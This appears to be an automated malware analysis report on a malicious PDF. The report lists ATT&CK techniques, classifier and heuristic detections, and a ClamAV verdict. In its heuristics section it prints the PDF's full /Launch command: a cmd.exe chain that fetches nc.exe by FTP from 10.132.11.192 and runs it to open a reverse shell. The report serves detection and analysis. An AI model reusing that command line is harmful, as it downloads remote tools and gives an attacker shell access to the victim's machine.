MALICIOUS
210
Risk Score
Malware Insights
MITRE ATT&CK
T1059.003 Windows Command Shell
T1204.002 Malicious File
T1105 Ingress Tool Transfer
The PDF file contains a launch action that executes a command-line payload. This payload is designed to download a Netcat binary from the IP address 10.132.11.192 using FTP and then execute it to establish a reverse shell. The heuristic firings strongly indicate a malicious PDF exploit. The command execution and subsequent download of a tool for remote access are the primary malicious activities observed.
Machine Learning
- Nyx PDF Classifier malicious score 0.9996
Heuristics 3
-
Launch action critical PDF_LAUNCHPDF contains a /Launch action whose target is an executable, URL, or UNC path — can start an external application
-
/Launch action target: cmd.exe critical PDF_LAUNCH_COMMANDPDF /Launch action specifies an executable target with parameters '/c echo binary nc.exe>C:\\ftpcmd.txt && echo get nc.exe C:\\nc.exe>>C:\\ftpcmd.txt && echo quit>>C:\\ftpcmd.txt && ftp -s:C:\\ftpcmd.txt -A 10.132.11.192 && C:\\nc.exe -d -e cmd.exe 10.132.11.192 999' — references a known-dangerous executable (cmd, PowerShell, etc.).
-
ClamAV: Pdf.Exploit.Agent-36271 critical CLAMAV_DETECTIONClamAV detected this file as malware: Pdf.Exploit.Agent-36271
Open this report in the interactive analyzer, or submit your own file for analysis.